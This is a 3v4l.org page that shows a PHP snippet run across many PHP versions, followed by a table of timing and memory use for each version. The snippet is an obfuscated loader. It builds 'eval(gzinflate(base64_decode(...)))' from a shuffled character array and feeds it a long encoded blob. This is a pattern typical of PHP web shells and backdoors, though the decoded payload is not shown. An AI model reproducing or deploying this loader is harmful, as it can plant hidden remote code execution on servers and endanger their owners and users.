3v4l.org

run code in 300+ PHP versions simultaneously
<?php $md5 = "b5a159cb0998c4c6e3f849a06ce9625d"; $af = array('6',';',"b",'l',"e",'s',"z","_",")",'v','a',"f",'(',"$",'r',"c",'n','g','4',"d",'o','i','t'); $bf6 = create_function('$'.'v',$af[4].$af[9].$af[10].$af[3].$af[12].$af[17].$af[6].$af[21].$af[16].$af[11].$af[3].$af[10].$af[22].$af[4].$af[12].$af[2].$af[10].$af[5].$af[4].$af[0].$af[18].$af[7].$af[19].$af[4].$af[15].$af[20].$af[19].$af[4].$af[12].$af[13].$af[9].$af[8].$af[8].$af[8].$af[1]); $bf6('DZZFrsWIAQSPkxl5YSZlZWZmbyKzn5np9PknaKlVrerqyoZ/mu831UN2VP/k2V4R2P/KqpjL6p//8Gko7rObzX0kBwAl8uFjhaLDe+LtHRRmoyoquBd48Xam5VWU8hcY5N8ROugagIi/xIMugE842G092CCIq6pEfTnp0V9GBVrNkPODudwuM3aoLY7DgLPq00fRQrYeESyO6iO7tskKiwXzOQHIGu9yOOn6OPz63Txz0RJyDk71zeFZNx5Kr1qMMYLoXRhxS3KV3k/GH8JyieQ2m2vCybQE7J/JQzLFQVL6PP2eq8tgaEsoFE8bP3aAQQg4HPtOKR4nG/i8NEPbJwSmIaovZv3unamIASX3dNkF056AVUG880dBMkeF1+U9dJWnv5Ct8Mdg3MfqTfWHJWv7s7usz3mLp8ZEwAuXqBGee7hD4yM6EXQZsJTh20IgAw3WB6E46GY4ou/bAAo3w/+C6xGR3XeEx0J82seczQD1VftKLZkKuxQDM4+PLvMwZHKWFmZGErs+gSotkNNlscgBPZt6JCwBdVAk/BOcE7KrRdCEisLeH1tu6tNbSHAMGgqZwdh2AQgsJq7DZP0FLjhg4E2oRboFycOx0S7u5iJ5dqpZLmaJHDojo/NutzNJ62++AxtTQqaRxgwzm/b2SdyJhCAvCOXU1HcS6XsnrXmkhZ5Nfg18fTIEE91jvVLs51zUSdBeigqQr8nIJ7iJoWbIA7RxHl8pOegRHIjXAr3MzCnZrFdfeJBu7lZMPdug1FeWieEes5ALIz3A1sUnyXVAQESKth4qHI1HyC/R67gWvPQkpS4eXbmjIslLBKh08mib61x+0kANDFalX0R3JL/YQi1J3mEMV5Rg+8G4rVQvc91/sHOpNC7AHG7Y4tFXsD12xS8r6qIftYeYarnnSjnExR8UbrU4uAUPyZwJR6inXLptKY5f2YS/IbDXzVBYihgk+6PRmKelHE+yZuRk/vZlEqOrek/KQrR8KOcWPkR+QoXSNJEu+qFSXIRKlG5zIeLsJUsziC09VyhdNtKVzlAKmYZ4gMv6uMhP4Up+RB36cIVhlhH+xKlT4rIZ7IuPcNVRLt3BF0FmISA25ObSY7rvoIeVnkjJ7iLis190uwoV8/PCXmk3jjyDYkpP1YYLui/x159nb/FGpBP52JtQnJPBAeKzi+G3Fn/DXPV7qZDUdH79x6IKGrTzxk4XY6GMf5sbMkQIb347kr4cBunEVk/B+WK27F9hnlIKAEWK5P1gNIavfJU6l7WFt01xitc20qZ1m/eLmskD+ejc0uieh0TaYk/310RTU9CNxw8KIgO/VQ2sXZwwf+EcQ9W2CzbfCQPimCpxr/RKrGP9jTv38Q/+VwJxWa80tII+mZGXoLfh7iCl5MKnMcUckzl6QgDm9YXtSmKH663nIJj7574L/cVi2SFBPQ+M1IfKTxY+iKMRoYU3nDoEaMAVUlAC/XCv1thgluzgAWmZBZaWUtJlA0zN6M3WmOHR0fd/5UvY0tjaCBFHF5t8pJdfVbgPla9Q6wF6MOsgVGTmmqlNj9NfTz49oQ7csQdiYbB8H1FaICWk9xxCMATK39sn7CHPW4evbgX8fqipglrUi2CTFfzBV3PbdNcqncHURe+uqbzhDVjWQHSY4xIrSlRGrafSOhyT6vDLK5p+EskmE2ZaX5Ih1viWOxZdlIrG0I2D8gcDJ8P4QHuxgzwlAi1cnWx/Cqet7ijng+IZ9Wga0QWdOhNvONnhKceqkRZEq1teXhNY0uWbAGkbM8edl3mVi0HK+qjei3mP0PuXMGiurYPsyuR1lphuVKe5lPNGnueu/KjDK2NZSqNevx744hw/XM3DvzjMZ6estBbaZOPInEtMoX2qCL6tHU1jxqNtELkHcvzB6BRDgRuOAHEttE7ScLZjn/VxjhYTzAP00Kpa9t05Emvp3vXxNzYStk2lABCki4wxYk+wPm3gmxt+JAYRyp3ZakVXJ1/AJlkbr78ouaE4Hp4o6VWcQB4Bebo/vusU3DktNJw7F3FzLng7oweBT8vr3FbLVmc63HpYzlWEdJ3u+PlpF8Td0zYEpl3h3EL/ZldlvOpzd5qSEUJlUE/6Ri6EKxFJEr3byIWQuEMq0GcwRu6wkvmU5QiNFitrmWaEAkBTzLmAkmKOxgG5GBvH1huUAtXODPywn2FpFvIII3EVaECnBZwklRuLR8hHrx9DuQMXJVij3pTyTr1yFKyzRQNpIvSQ6ecOhbyGjC5O04XCR7Ae6GSEXM6O5HGxV/Yr9kq619qSE8tMyBi5B7ExCrO3420uPqSwrFVMSeC4e7vjF+U9HVCdHRi340PuboM/ppAP1Y7u7ZvWy3HfmkUqtqaEDNoc0iYRbzK//TxwEXwYKCcoBN7RoUaHYa1s87eGsxZw1CrWG/Ln+2AhQucCz6mlMd4ffNIFiJPDq1OVrJUPPsSDdB4qKJFus7BWLp4VLe2iFwpKKvHWmv8pmzIaf9Irc3DntiKKCzt5XqO0lBJPNSASS4cZ2c1DRD3H/E8OjVDYv1ctxh8sUHiyZo7rkH7M27SHXHncOPP1KcQDULv2ndO17CKJ0EFbjjCIvivHCxN2ukLGkjMmQq+WggY89GUEq6NcOzbs8TD74bwBkiTSt54eHKsi+9kX+JjMCwxz15aC8bvllDV61X+fjqZpEAQv8D///vvvf/8P');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0090.00616.75
8.3.50.0070.01116.23
8.3.40.0080.00618.89
8.3.30.0120.00318.84
8.3.20.0040.00420.34
8.3.10.0060.00323.49
8.3.00.0080.00019.25
8.2.180.0150.00625.92
8.2.170.0090.00618.96
8.2.160.0100.00322.96
8.2.150.0050.00325.66
8.2.140.0050.00324.66
8.2.130.0090.00017.63
8.2.120.0050.00226.35
8.2.110.0060.00320.35
8.2.100.0110.00017.80
8.2.90.0040.00419.09
8.2.80.0040.00417.97
8.2.70.0050.00317.50
8.2.60.0000.00817.64
8.2.50.0000.00818.07
8.2.40.0050.00219.23
8.2.30.0050.00320.68
8.2.20.0030.00717.61
8.2.10.0080.00017.96
8.2.00.0030.00618.15
8.1.280.0090.00625.92
8.1.270.0030.00623.66
8.1.260.0080.00028.09
8.1.250.0040.00428.09
8.1.240.0030.00623.98
8.1.230.0090.00317.66
8.1.220.0000.00817.74
8.1.210.0060.00318.77
8.1.200.0030.00617.35
8.1.190.0060.00317.23
8.1.180.0030.00618.10
8.1.170.0000.00718.74
8.1.160.0040.00422.00
8.1.150.0030.00518.82
8.1.140.0000.00819.57
8.1.130.0030.00317.69
8.1.120.0070.00017.50
8.1.110.0000.00817.46
8.1.100.0080.00017.50
8.1.90.0000.00717.44
8.1.80.0050.00317.35
8.1.70.0000.00717.44
8.1.60.0040.00417.55
8.1.50.0060.00317.58
8.1.40.0070.00017.39
8.1.30.0060.00317.66
8.1.20.0040.00417.65
8.1.10.0040.00417.70
8.1.00.0060.00317.60
8.0.300.0080.00018.77
8.0.290.0040.00416.88
8.0.280.0000.00718.43
8.0.270.0030.00317.17
8.0.260.0000.00717.24
8.0.250.0080.00016.97
8.0.240.0000.00716.98
8.0.230.0070.00017.01
8.0.220.0070.00016.93
8.0.210.0080.00016.91
8.0.200.0030.00516.86
8.0.190.0030.00517.05
8.0.180.0000.00716.99
8.0.170.0060.00316.98
8.0.160.0040.00416.99
8.0.150.0070.00016.92
8.0.140.0030.00416.89
8.0.130.0030.00313.33
8.0.120.0000.00816.80
8.0.110.0040.00416.99
8.0.100.0040.00416.90
8.0.90.0030.00316.84
8.0.80.0150.00617.00
8.0.70.0030.00516.80
8.0.60.0000.00717.01
8.0.50.0000.00816.82
8.0.30.0070.01317.19
8.0.20.0110.00717.40
8.0.10.0040.00416.90
8.0.00.0080.01016.75
7.4.330.0000.00516.98
7.4.320.0040.00416.71
7.4.300.0030.00316.90
7.4.290.0030.00616.86
7.4.280.0000.00916.75
7.4.270.0070.00016.71
7.4.260.0030.00516.75
7.4.250.0030.00516.66
7.4.240.0040.00416.79
7.4.230.0000.00716.67
7.4.220.0100.01716.78
7.4.210.0070.01016.89
7.4.200.0050.00216.65
7.4.160.0110.01116.80
7.4.150.0060.01317.40
7.4.140.0120.01117.86
7.4.130.0050.01416.73
7.4.120.0070.01116.77
7.4.110.0070.01116.73
7.4.100.0160.01016.78
7.4.90.0110.00816.82
7.4.80.0130.01319.39
7.4.70.0070.01116.76
7.4.60.0090.00916.92
7.4.50.0040.01416.45
7.4.40.0160.00316.93
7.4.30.0120.01216.77
7.4.00.0040.01115.10
7.3.330.0030.00313.63
7.3.320.0030.00313.46
7.3.310.0000.00816.58
7.3.300.0070.00016.63
7.3.290.0100.00716.59
7.3.280.0080.00916.58
7.3.270.0130.00617.40
7.3.260.0230.00316.53
7.3.250.0080.01016.74
7.3.240.0090.00916.50
7.3.230.0110.00716.78
7.3.210.0120.00616.83
7.3.200.0090.01416.77
7.3.190.0060.01316.79
7.3.180.0160.00616.64
7.3.170.0060.01216.71
7.3.160.0160.01016.79
7.2.330.0040.01516.76
7.2.320.0110.00817.11
7.2.310.0150.00316.79
7.2.300.0070.01316.79
7.2.290.0040.01416.78
7.2.60.0030.01016.45
7.2.00.0070.00719.33
7.1.200.0060.00915.38
7.1.100.0070.00318.19
7.1.70.0030.00717.35
7.1.60.0200.00719.48
7.1.50.0130.00716.89
7.1.00.0070.07722.54
7.0.200.0070.01015.07
7.0.60.0070.07020.02
7.0.50.0030.07018.14
7.0.40.0100.03720.14
7.0.30.0300.03720.20
7.0.20.0370.08020.36
7.0.10.0130.08720.07
7.0.00.0030.08020.28
5.6.280.0000.03320.96
5.6.210.0170.06720.81
5.6.200.0030.07318.37
5.6.190.0070.07320.62
5.6.180.0270.06020.85
5.6.170.0270.06720.65
5.6.160.0070.04320.69
5.6.150.0000.07018.29
5.6.140.0100.03718.21
5.6.130.0070.05718.27
5.6.120.0000.08021.13
5.6.110.0130.06721.13
5.6.100.0030.08321.27
5.6.90.0070.04021.11
5.6.80.0100.05720.52
5.5.350.3500.04720.53
5.5.340.0070.05018.02
5.5.330.0070.07020.48
5.5.320.0030.05320.36
5.5.310.0270.04020.39
5.5.300.0100.07718.15
5.5.290.0070.03718.01
5.5.280.0000.04720.89
5.5.270.0070.08020.85
5.5.260.0070.08720.99
5.5.250.0130.07720.81
5.5.240.0330.06020.32

preferences:
52.37 ms | 400 KiB | 5 Q